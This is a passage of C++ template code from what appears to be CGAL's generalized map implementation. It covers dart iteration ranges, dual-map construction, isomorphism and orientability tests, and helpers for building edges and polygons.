Dart_of_orbit_basic_const_range<B1,B2,B3> darts_of_orbit_basic (Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4> Dart_of_orbit_basic_range<B1,B2,B3,B4> darts_of_orbit_basic (Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4> Dart_of_orbit_basic_const_range<B1,B2,B3,B4> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5> Dart_of_orbit_basic_range<B1,B2,B3,B4,B5> darts_of_orbit_basic (Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5> Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6> Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6> darts_of_orbit_basic (Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6>(*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6> Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7> Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit_basic (Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7> Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8> Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit (Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8> Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8, unsigned int B9> Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> darts_of_orbit_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_orbit_basic_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> (*this,adart,amark); } //-------------------------------------------------------------------------- template <unsigned int B1,unsigned int B2,unsigned int B3,unsigned int B4, unsigned int B5,unsigned int B6,unsigned int B7,unsigned int B8, unsigned int B9> Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> darts_of_orbit_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_orbit_basic_const_range<B1,B2,B3,B4,B5,B6,B7,B8,B9> (*this,adart,amark); } //************************************************************************** #endif //CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES //************************************************************************** // Dart_of_cell_basic_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_cell_basic_range: public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_cell<Self,i,dim>, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_cell<Self,i,dim>, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > Base; Dart_of_cell_basic_range(Self &amap, Dart_handle adart, size_type amark=INVALID_MARK) : Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_cell_basic_const_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_cell_basic_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_cell<Self,i,dim> > Base; Dart_of_cell_basic_const_range(const Self &amap, Dart_const_handle adart, size_type amark=INVALID_MARK) : Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_cell_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_cell_range: public CGAL::CMap_range <Self,GMap_dart_iterator_of_cell<Self,i,dim>, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > { typedef CGAL::CMap_range <Self,GMap_dart_iterator_of_cell<Self,i,dim>, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > Base; Dart_of_cell_range(Self &amap, Dart_handle adart) : Base(amap, adart) {} }; //************************************************************************** // Dart_of_cell_const_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_cell_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_cell<Self,i,dim> > Base; Dart_of_cell_const_range(const Self &amap, Dart_const_handle adart) : Base(amap, adart) {} }; //-------------------------------------------------------------------------- /// @return a range on all the darts of the given i-cell template<unsigned int i, int dim> Dart_of_cell_basic_range<i,dim> darts_of_cell_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_cell_basic_range<i,dim>(*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i, int dim> Dart_of_cell_basic_const_range<i,dim> darts_of_cell_basic (Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_cell_basic_const_range<i,dim>(*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_cell_basic_range<i,Self::dimension> darts_of_cell_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return darts_of_cell_basic<i,Self::dimension>(adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_cell_basic_const_range<i,Self::dimension> darts_of_cell_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return darts_of_cell_basic<i,Self::dimension>(adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i, int dim> Dart_of_cell_range<i,dim> darts_of_cell(Dart_handle adart) { return Dart_of_cell_range<i,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i, int dim> Dart_of_cell_const_range<i,dim> darts_of_cell(Dart_const_handle adart) const { return Dart_of_cell_const_range<i,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_cell_range<i,Self::dimension> darts_of_cell(Dart_handle adart) { return darts_of_cell<i,Self::dimension>(adart); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_cell_const_range<i,Self::dimension> darts_of_cell(Dart_const_handle adart) const { return darts_of_cell<i,Self::dimension>(adart); } //************************************************************************** // Dart_of_involution_basic_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_involution_basic_range: public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_involution<Self,i,dim>, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_basic_of_involution<Self,i,dim>, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> > Base; Dart_of_involution_basic_range(Self &amap, Dart_handle adart, size_type amark=INVALID_MARK): Base(amap, adart, amark) {} }; //************************************************************************** // Dart_of_involution_basic_const_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_involution_basic_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_basic_of_involution<Self,i,dim> > Base; Dart_of_involution_basic_const_range(const Self &amap, Dart_const_handle adart, size_type amark=INVALID_MARK) : Base(amap, adart, amark) {} }; //************************************************************************** template<unsigned int i,int dim> Dart_of_involution_basic_range<i,dim> darts_of_involution_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_involution_basic_range<i,dim>(*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i,int dim> Dart_of_involution_basic_const_range<i,dim> darts_of_involution_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_involution_basic_const_range<i,dim>(*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_involution_basic_range<i,Self::dimension> darts_of_involution_basic(Dart_handle adart, size_type amark=INVALID_MARK) { return Dart_of_involution_basic_range<i,Self::dimension> (*this,adart,amark); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_involution_basic_const_range<i,Self::dimension> darts_of_involution_basic(Dart_const_handle adart, size_type amark=INVALID_MARK) const { return Dart_of_involution_basic_const_range<i,Self::dimension> (*this,adart,amark); } //************************************************************************** // Dart_of_involution_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_involution_range: public CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_involution<Self,i,dim>, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > { typedef CGAL::CMap_range <Self, CGAL::GMap_dart_iterator_of_involution<Self,i,dim>, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > Base; Dart_of_involution_range(Self &amap, Dart_handle adart) : Base(amap, adart) {} }; //************************************************************************** // Dart_of_involution_const_range template<unsigned int i,int dim=Self::dimension> struct Dart_of_involution_const_range: public CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > { typedef CMap_const_range <Self, CGAL::GMap_dart_const_iterator_of_involution<Self,i,dim> > Base; Dart_of_involution_const_range(const Self &amap, Dart_const_handle adart): Base(amap, adart) {} }; //************************************************************************** template<unsigned int i,int dim> Dart_of_involution_range<i,dim> darts_of_involution(Dart_handle adart) { return Dart_of_involution_range<i,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i,int dim> Dart_of_involution_const_range<i,dim> darts_of_involution(Dart_const_handle adart) const { return Dart_of_involution_const_range<i,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_involution_range<i,Self::dimension> darts_of_involution(Dart_handle adart) { return Dart_of_involution_range<i,Self::dimension>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i> Dart_of_involution_const_range<i,Self::dimension> darts_of_involution(Dart_const_handle adart) const { return Dart_of_involution_const_range<i,Self::dimension>(*this,adart); } //************************************************************************** // Dart_basic_range struct Dart_basic_range { typedef CGAL::GMap_dart_iterator_basic_of_all<Self> iterator; typedef CGAL::GMap_dart_const_iterator_basic_of_all<Self> const_iterator; Dart_basic_range(Self &amap) : mmap(amap) {} iterator begin() { return iterator(mmap); } iterator end() { return iterator(mmap,mmap.null_handle); } const_iterator begin() const { return const_iterator(mmap); } const_iterator end() const { return const_iterator(mmap,mmap.null_handle); } size_type size() const { return mmap.number_of_darts(); } bool empty() const { return mmap.is_empty(); } private: Self & mmap; }; //************************************************************************** // Dart_basic_const_range struct Dart_basic_const_range { typedef CGAL::GMap_dart_const_iterator_basic_of_all<Self> const_iterator; Dart_basic_const_range(Self &amap) : mmap(amap) {} const_iterator begin() const { return const_iterator(mmap); } const_iterator end() const { return const_iterator(mmap,mmap.null_handle); } size_type size() const { return mmap.number_of_darts(); } bool empty() const { return mmap.is_empty(); } private: const Self & mmap; }; //************************************************************************** Dart_basic_range darts_basic() { return Dart_basic_range(*this); } //-------------------------------------------------------------------------- Dart_basic_const_range darts_basic() const { return Dart_basic_const_range(*this); } //************************************************************************** // One_dart_per_incident_cell_range template<unsigned int i,unsigned int j,int dim=Self::dimension> struct One_dart_per_incident_cell_range: public CGAL::CMap_range <Self, CGAL::GMap_one_dart_per_incident_cell_iterator<Self,i,j,dim>, CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> > { typedef CGAL::CMap_range <Self, CGAL::GMap_one_dart_per_incident_cell_iterator<Self,i,j,dim>, CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> > Base; One_dart_per_incident_cell_range(Self &amap, Dart_handle adart): Base(amap, adart) {} }; //************************************************************************** // One_dart_per_incident_cell_const_range template<unsigned int i,unsigned int j,int dim=Self::dimension> struct One_dart_per_incident_cell_const_range: public CMap_const_range <Self, CGAL::GMap_one_dart_per_incident_cell_const_iterator<Self,i,j,dim> > { typedef CMap_const_range <Self, CGAL::GMap_one_dart_per_incident_cell_const_iterator <Self,i,j,dim> > Base; One_dart_per_incident_cell_const_range(const Self &amap, Dart_const_handle adart) : Base(amap, adart) {} }; //************************************************************************** // One_dart_per_cell_range template<unsigned int i,int dim=Self::dimension> struct One_dart_per_cell_range { typedef CGAL::GMap_one_dart_per_cell_iterator<Self,i,dim> iterator; typedef CGAL::GMap_one_dart_per_cell_const_iterator<Self,i,dim> const_iterator; One_dart_per_cell_range(Self &amap) : mmap(amap), msize(0) {} iterator begin() { return iterator(mmap); } iterator end() { return iterator(mmap,mmap.null_handle); } const_iterator begin() const { return const_iterator(mmap); } const_iterator end() const { return const_iterator(mmap,mmap.null_handle); } size_type size() const { if (msize==0) for ( const_iterator it=begin(), itend=end(); it!=itend; ++it) ++msize; return msize; } bool empty() const { return mmap.is_empty(); } private: Self & mmap; mutable size_type msize; }; //************************************************************************** // One_dart_per_cell_const_range template<unsigned int i,int dim=Self::dimension> struct One_dart_per_cell_const_range { typedef CGAL::GMap_one_dart_per_cell_const_iterator<Self,i,dim> const_iterator; One_dart_per_cell_const_range(const Self &amap) : mmap(amap), msize(0) {} const_iterator begin() const { return const_iterator(mmap); } const_iterator end() const { return const_iterator(mmap,mmap.null_handle); } size_type size() const { if (msize==0) for ( const_iterator it=begin(), itend=end(); it!=itend; ++it) ++msize; return msize; } bool empty() const { return mmap.is_empty(); } private: const Self & mmap; mutable size_type msize; }; //************************************************************************** /// @return a range on the i-cells incindent to the given j-cell. template<unsigned int i, unsigned int j, int dim> One_dart_per_incident_cell_range<i,j,dim> one_dart_per_incident_cell(Dart_handle adart) { return One_dart_per_incident_cell_range<i,j,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i, unsigned int j, int dim> One_dart_per_incident_cell_const_range<i,j,dim> one_dart_per_incident_cell(Dart_const_handle adart) const { return One_dart_per_incident_cell_const_range<i,j,dim>(*this,adart); } //-------------------------------------------------------------------------- template<unsigned int i, unsigned int j> One_dart_per_incident_cell_range<i,j,Self::dimension> one_dart_per_incident_cell(Dart_handle adart) { return one_dart_per_incident_cell<i,j,Self::dimension>(adart); } //-------------------------------------------------------------------------- template<unsigned int i, unsigned int j> One_dart_per_incident_cell_const_range<i,j,Self::dimension> one_dart_per_incident_cell(Dart_const_handle adart) const { return one_dart_per_incident_cell<i,j,Self::dimension>(adart); } //-------------------------------------------------------------------------- /// @return a range on all the i-cells template<unsigned int i, int dim> One_dart_per_cell_range<i,dim> one_dart_per_cell() { return One_dart_per_cell_range<i,dim>(*this); } //-------------------------------------------------------------------------- template<unsigned int i, int dim> One_dart_per_cell_const_range<i,dim> one_dart_per_cell() const { return One_dart_per_cell_const_range<i,dim>(*this); } //-------------------------------------------------------------------------- template<unsigned int i> One_dart_per_cell_range<i,Self::dimension> one_dart_per_cell() { return one_dart_per_cell<i,Self::dimension>(); } //-------------------------------------------------------------------------- template<unsigned int i> One_dart_per_cell_const_range<i,Self::dimension> one_dart_per_cell() const { return one_dart_per_cell<i,Self::dimension>(); } //-------------------------------------------------------------------------- public: /** Compute the dual of a Generalized_map. * @param amap the gmap in which we build the dual of this map. * @param adart a dart of the initial map, NULL by default. * @return adart of the dual map, the dual of adart if adart!=NULL, * any dart otherwise. * As soon as we don't modify this map and amap map, we can iterate * simultaneously through all the darts of the two maps and we have * each time of the iteration two "dual" darts. */ Dart_handle dual(Self& amap, Dart_handle adart=null_handle) { CGAL_assertion( is_without_boundary(dimension) ); CGAL::Unique_hash_map< Dart_handle, Dart_handle, typename Self::Hash_function > dual; Dart_handle d, d2, res = amap.null_handle; // We clear amap. TODO return a new amap ? amap.clear(); // We create a copy of all the dart of the map. for ( typename Dart_range::iterator it=darts().begin(); it!=darts().end(); ++it) { dual[it] = amap.create_dart(); internal::Copy_dart_info_functor<Refs, Refs>:: run(static_cast<Refs&>(amap), static_cast<Refs&>(*this), it, dual[it]); if ( it==adart && res==amap.null_handle ) res = dual[it]; } // Then we link the darts by using the dual formula : // G(B,a0,a1,...,a(n-1),an) => // dual(G)=(B, an, a(n-1),...,a1, a0) // We suppose darts are run in the same order for both maps. typename Dart_range::iterator it2=amap.darts().begin(); for ( typename Dart_range::iterator it=darts().begin(); it!=darts().end(); ++it, ++it2) { d = it2; // The supposition on the order allows to avoid d=dual[it]; CGAL_assertion( it2==dual[it] ); for ( unsigned int i=0; i<=dimension; ++i) { if ( !is_free(it, i) && amap.is_free(d,dimension-i) ) amap.basic_link_alpha(d, dual[alpha(it, i)], dimension-i); } } // CGAL_postcondition(amap2.is_valid()); if ( res==amap.null_handle ) res = amap.darts().begin(); return res; } /** Test if the connected component of gmap containing dart dh1 is * isomorphic to the connected component of map2 containing dart dh2, * starting from dh1 and dh2. * @param dh1 initial dart for this map * @param map2 the second generalized map * @param dh2 initial dart for map2 * @param testDartInfo Boolean to test the equality of dart info (true) * or not (false) * @param testAttributes Boolean to test the equality of attributes (true) * or not (false) * @param testPoint Boolean to test the equality of points (true) * or not (false) (used for LCC) * @return true iff the cc of map is isomorphic to the cc of map2 starting * from dh1 and dh2; by testing the equality of dartinfo and/or * attributes and/or points. */ template <unsigned int d2, typename Refs2, typename Items2, class Alloc2, class Storage2> bool are_cc_isomorphic(Dart_const_handle dh1, const Generalized_map_base <d2,Refs2,Items2,Alloc2, Storage2>& map2, typename Generalized_map_base <d2,Refs2,Items2,Alloc2, Storage2>::Dart_const_handle dh2, bool testDartInfo=true, bool testAttributes=true, bool testPoint=true) const { typedef Generalized_map_base<d2,Refs2,Items2,Alloc2, Storage2> Map2; bool match = true; // Two stacks used to run through the two maps. std::deque< Dart_const_handle > toTreat1; std::deque< typename Map2::Dart_const_handle > toTreat2; // A dart of this map is marked with m1 if its bijection was set // (and similarly for mark m2 and darts of map2) size_type m1 = get_new_mark(); size_type m2 = map2.get_new_mark(); // A dart of this map is marked with markpush if it was already pushed // in the queue toTreat1. size_type markpush = get_new_mark(); toTreat1.push_back(dh1); toTreat2.push_back(dh2); Dart_const_handle current; typename Map2::Dart_const_handle other; unsigned int i = 0; CGAL::Unique_hash_map<Dart_const_handle, typename Map2::Dart_const_handle, typename Self::Hash_function> bijection; while (match && !toTreat1.empty()) { // Next dart current = toTreat1.front(); toTreat1.pop_front(); other = toTreat2.front(); toTreat2.pop_front(); if (!is_marked(current, m1)) { if (map2.is_marked(other, m2)) match=false; else { bijection[current] = other; mark(current, m1); map2.mark(other, m2); // We first test info of darts if (match && testDartInfo) match=internal::Test_is_same_dart_info_functor<Self, Map2>:: run(*this, map2, current, other); // We need to test in both direction because // Foreach_enabled_attributes only test non void attributes // of Self. Functor Test_is_same_attribute_functor will modify // the value of match to false if attributes do not match if (testAttributes) { if (match) Helper::template Foreach_enabled_attributes < internal::Test_is_same_attribute_functor<Self, Map2> >:: run(*this, map2, current, other, match); if (match) Map2::Helper::template Foreach_enabled_attributes < internal::Test_is_same_attribute_functor<Map2, Self> >:: run(map2, *this, other, current, match); } if (match && testPoint) { // Only point of 0-attributes are tested. TODO test point of all // attributes ? match=internal::Test_is_same_attribute_point_functor <Self, Map2, 0>::run(*this, map2, current, other); } // We test if the injection is valid with its neighboors. // We go out as soon as it is not satisfied. for (i = 0; match && i <= dimension; ++i) { if ( i>map2.dimension ) { if (!is_free(current,i)) { match=false; } } else { if (is_free(current,i)) { if (!map2.is_free(other,i)) { match = false; } } else { if (map2.is_free(other,i)) { match = false; } else { if (is_marked(alpha(current,i), m1) != map2.is_marked(map2.alpha(other,i), m2)) { match = false; } else { if (!is_marked(alpha(current,i), m1)) { if (!is_marked(alpha(current,i), markpush)) { toTreat1.push_back(alpha(current,i)); toTreat2.push_back(map2.alpha(other,i)); mark(alpha(current,i), markpush); } } else { if (bijection[alpha(current,i)]!=map2.alpha(other,i)) { match = false; } } } } } } } // Now we test if the second map has more alpha links than the first for ( i=dimension+1; match && i<=map2.dimension; ++i ) { if (!map2.is_free(other,i)) { match=false; } } } } else { if (!map2.is_marked(other, m2)) { match=false; } } } // Here we test if both queue are empty if ( !toTreat1.empty() || !toTreat2.empty() ) { match=false; } // Here we unmark all the marked darts. toTreat1.clear(); toTreat2.clear(); toTreat1.push_back(dh1); toTreat2.push_back(dh2); unmark(dh1, m1); unmark(dh1, markpush); map2.unmark(dh2, m2); while (!toTreat1.empty()) { current = toTreat1.front(); toTreat1.pop_front(); other = toTreat2.front(); toTreat2.pop_front(); for (i = 0; i <= dimension; ++i) { if (!is_free(current,i) && is_marked(alpha(current,i), markpush)) { toTreat1.push_back(alpha(current,i)); toTreat2.push_back(map2.alpha(other,i)); unmark(alpha(current,i), m1); unmark(alpha(current,i), markpush); map2.unmark(map2.alpha(other,i), m2); } } } assert(is_whole_map_unmarked(m1)); assert(is_whole_map_unmarked(markpush)); assert(map2.is_whole_map_unmarked(m2)); free_mark(m1); free_mark(markpush); map2.free_mark(m2); return match; } /** Test if this gmap is isomorphic to map2. * @pre gmap is connected. * @param map2 the second generalized map * @param testDartInfo Boolean to test the equality of dart info (true) * or not (false) * @param testAttributes Boolean to test the equality of attributes (true) * or not (false) * @param testPoint Boolean to test the equality of points (true) * or not (false) (used for LCC) * @return true iff this map is isomorphic to map2, testing the equality * of attributes if testAttributes is true */ template <unsigned int d2, typename Refs2, typename Items2, class Alloc2, class Storage2> bool is_isomorphic_to(const Generalized_map_base <d2,Refs2,Items2,Alloc2, Storage2>& map2, bool testDartInfo=true, bool testAttributes=true, bool testPoint=true) const { if (is_empty() && map2.is_empty()) return true; if (is_empty() || map2.is_empty()) return false; Dart_const_handle d1=darts().begin(); for (typename Generalized_map_base<d2,Refs2,Items2,Alloc2, Storage2>:: Dart_range::const_iterator it(map2.darts().begin()), itend(map2.darts().end()); it!=itend; ++it) { if (are_cc_isomorphic(d1, map2, it, testDartInfo, testAttributes, testPoint)) { return true; } } return false; } /** @return true iff the connected component containing dh is orientable * If amark!=INVALID_MARK, mark all darts in the cc with amark * If aorientationmark!=INVALID_MARK, and if the cc is orientable, mark * all darts of one orientation of the cc with aorientationmark * (i.e. one out of two darts) * Note it is not allow to have accmark!=INVALID_MARK and * aorientationmark==INVALID_MARK. */ bool is_cc_orientable(Dart_const_handle dh, size_type accmark=INVALID_MARK, size_type aorientationmark=INVALID_MARK) const { if (accmark!=INVALID_MARK && aorientationmark==INVALID_MARK) { std::cerr<<"Error for is_cc_orientable: you cannot use accmark" <<" different from INVALID_MARK and aorientationmark " <<" equal to INVALID_MARK"<<std::endl; accmark=INVALID_MARK; } size_type ccmark=(accmark==INVALID_MARK?get_new_mark():accmark); size_type orientationmark= (aorientationmark==INVALID_MARK?get_new_mark():aorientationmark); bool stop_if_nonorientable = (accmark==INVALID_MARK && aorientationmark==INVALID_MARK); std::queue<Dart_const_handle> toTreat; bool orientable=true; Dart_const_handle cur; // Iterator through the connected component toTreat.push(dh); mark(dh, ccmark); mark(dh, orientationmark); while((!stop_if_nonorientable || orientable) && !toTreat.empty()) { cur=toTreat.front(); toTreat.pop(); for (unsigned int i=0; i<=dimension; ++i) { if (is_marked(cur, orientationmark)) { if (!is_free(cur, i) && is_marked(alpha(cur, i), orientationmark)) orientable=false; } else { if (!is_free(cur, i)) mark(alpha(cur, i), orientationmark); } if (!is_marked(alpha(cur, i), ccmark)) { mark(alpha(cur, i), ccmark); toTreat.push(alpha(cur, i)); } } } // Now we need to unmark the marked darts for accmark and/or for // aorientationmark (when they are different from INVALID_MARK). if (stop_if_nonorientable) { toTreat.push(dh); unmark(dh, ccmark); if (aorientationmark==INVALID_MARK) unmark(dh, orientationmark); while(!toTreat.empty()) { cur=toTreat.front(); toTreat.pop(); for (unsigned int i=0; i<=dimension; ++i) { if (aorientationmark==INVALID_MARK) unmark(alpha(cur, i), orientationmark); if (!is_marked(alpha(cur, i), ccmark)) { unmark(alpha(cur, i), ccmark); toTreat.push(alpha(cur, i)); } } } if (aorientationmark==INVALID_MARK) { assert(is_whole_map_marked(orientationmark)); free_mark(orientationmark); } assert(is_whole_map_marked(ccmark)); free_mark(ccmark); } return orientable; } /** @return true iff the GMap is orientable * If aorientationmark!=INVALID_MARK, and if the cc is orientable, mark * all darts of one orientation of the cc with aorientationmark * (i.e. one out of two darts) */ bool is_orientable(size_type aorientationmark=INVALID_MARK) const { size_type ccmark=get_new_mark(); size_type orientationmark= (aorientationmark==INVALID_MARK?get_new_mark():aorientationmark); bool stop_if_nonorientable = (aorientationmark==INVALID_MARK); bool orientable=true; for (typename Dart_const_range::const_iterator it=darts().begin(), itend=darts().end(); (!stop_if_nonorientable || orientable) && it!=itend; ++it) { if (!is_marked(it, ccmark)) { if (!is_cc_orientable(it, ccmark, orientationmark)) orientable=false; } } for (typename Dart_const_range::const_iterator it=darts().begin(), itend=darts().end(); number_of_marked_darts(ccmark)>0 && it!=itend; ++it) { unmark(it, ccmark); if (aorientationmark==INVALID_MARK) unmark(it, orientationmark); } if (aorientationmark==INVALID_MARK) { assert(is_whole_map_unmarked(orientationmark)); free_mark(orientationmark); } assert(is_whole_map_unmarked(ccmark)); free_mark(ccmark); return orientable; } /** Test if the attributes of this map are automatically updated. * @return true iff the boolean automatic_attributes_management is set to true. */ bool are_attributes_automatically_managed() const { return automatic_attributes_management; } /** Sets the automatic_attributes_management boolean. */ void set_automatic_attributes_management(bool newval) { if (this->automatic_attributes_management == false && newval == true) { correct_invalid_attributes(); } this->automatic_attributes_management = newval; } /** Create an half-edge. * @return a dart of the new half-edge. */ Dart_handle make_half_edge() { Dart_handle d1=create_dart(); basic_link_alpha<0>(d1, create_dart()); return d1; } /** Create an edge. * if closed==true, the edge has no 2-free dart. * @return a dart of the new edge. */ Dart_handle make_edge(bool closed=false) { Dart_handle d1=create_dart(); Dart_handle d2=create_dart(); basic_link_alpha<0>(d1, d2); if (closed) { Dart_handle d3=create_dart(); Dart_handle d4=create_dart(); basic_link_alpha<0>(d3, d4); basic_link_alpha<2>(d1, d3); basic_link_alpha<2>(d2, d4); } return d1; } /** Create an edge given 2 Attribute_handle<0>. * Note that this function can be used only if 0-attributes are non void * @param h0 the first vertex handle. * @param h1 the second vertex handle. * if closed==true, the edge has no 2-free dart. * @return the dart of the new edge incident to h0. */ Dart_handle make_segment(typename Attribute_handle<0>::type h0, typename Attribute_handle<0>::type h1, bool closed=false) { Dart_handle d1 = this->make_edge(closed); set_dart_attribute<0>(d1,h0); set_dart_attribute<0>(this->alpha<0>(d1),h1); if (closed) { set_dart_attribute<0>(this->alpha<2>(d1),h0); set_dart_attribute<0>(this->alpha<0,2>(d1),h1); } return d1; } /** Create a combinatorial polygon of length alg * (a cycle of alg edges alpha1 links together). * @return a new dart. */ Dart_handle make_combinatorial_polygon(unsigned int alg) { CGAL_assertion(alg>0); Dart_handle start = make_edge(); Dart_handle prev = alpha<0>(start); for ( unsigned int nb=1; nb<alg; ++nb ) { Dart_handle cur = make_edge(); basic_link_alpha<1>(prev, cur); prev=alpha<0>(cur); } basic_link_alpha<1>(prev, start); return start; } /** Test if a face is a combinatorial polygon of length alg * (a cycle of alg edges alpha1 links together). * @param adart an intial dart * @return true iff the face containing adart is a polygon of length alg. */ bool is_face_combinatorial_polygon(Dart_const_handle adart, unsigned int alg) const { CGAL_assertion(alg>0); unsigned int nb = 0; Dart_const_handle cur = adart; do { ++nb; if ( is_free(cur, 0) || is_free(alpha(cur, 0), 1) ) return false; // Open face cur = alpha(cur,0,1); } while( cur!=adart ); return (nb==alg); } /** Create a triangle given 3 Attribute_handle<0>. * @param h0 the first handle. * @param h1 the second handle. * @param h2 the third handle. * Note that this function can be used only if 0-attributes are non void * @return the dart of the new triangle incident to h0 and to edge h0h1. */ Dart_handle make_triangle(typename Attribute_handle<0>::type h0, typename Attribute_handle<0>::type h1, typename Attribute_handle<0>::type h2) { Dart_handle d1 = this->make_combinatorial_polygon(3); set_dart_attribute<0>(d1,h0); 